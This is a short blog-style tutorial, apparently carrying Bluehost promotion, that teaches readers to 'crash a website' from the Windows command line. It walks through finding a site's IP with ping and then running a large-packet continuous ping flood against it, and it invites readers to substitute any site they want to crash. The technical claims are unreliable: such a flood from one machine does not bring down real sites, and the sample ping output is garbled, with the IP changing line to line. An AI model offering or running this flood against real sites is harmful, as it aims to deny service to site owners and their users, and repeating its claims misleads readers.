Recently I found out people discussing about how to crash a website. Remember that it is completely wrong for you to crash a website.
Hackers try hard to copy user data of your website, the data include name, email address, credit card and physical address. And when they found out that it is hard to copy user data they would eventually try to crash a website or insert spammming link that would lead to low ranking and eventually Google penalization.
This article will focus on how to crash a website. You can create a dummy blog for this tutorial.
With Bluehost, you can create your blog within a day.
Buy the domain name from domain registrar of your choice. Since this tutorial is to understand how to crash a website. You can buy any domain name.
Host your website on bluehost and follow their instructions to create your website within five minutes.
What you need?
- Internet service
- IP address of the website
In this tutorial, I will be using window operating system.
Simply search for CMD or in older versions of windows use the RUN program and type CMD . This bring a small box that you can insert your command and execute your command.
The next step is to find the IP address of the website. IP address is the web server that your website hosting company allocated for individual website or blog.
PING can let you find out the website IP address.
In this tutorial i will be using Google IP address ping google.com
After typing in the above command and pressing Enter. You should get the following result.
Pinging google.com [188.8.131.52] with 32 bytes of data:
Reply from 184.108.40.206: bytes=32 time=56ms TTL=127
Reply from 220.127.116.11: bytes=32 time=25ms TTL=127
Reply from 18.104.22.168: bytes=32 time=27ms TTL=127
Reply from 22.214.171.124: bytes=32 time=47ms TTL=127
Ping statistics for 126.96.36.199:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 25ms, Maximum = 56ms, Average = 38ms
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We found out the IP address of Google 188.8.131.52
The next step is to ping the IP address until it crashes
ping 184.108.40.206 -t -l 65500
Pinging 220.127.116.11 with 65500 bytes of data:
It will continue to do this until the site crashes.
You can replace the IP address with the website IP address that you want to crash.
How to prevent ping attack
To prevent your website from crashing is to have large bandwidth, though this is very hard to come by due to how expensive web hosting.
Most web hosting company comes with meterred bandwidth but when you choose Bluehost, you are sure of unmetered bandwidth that can survive an onslaught of ping attack.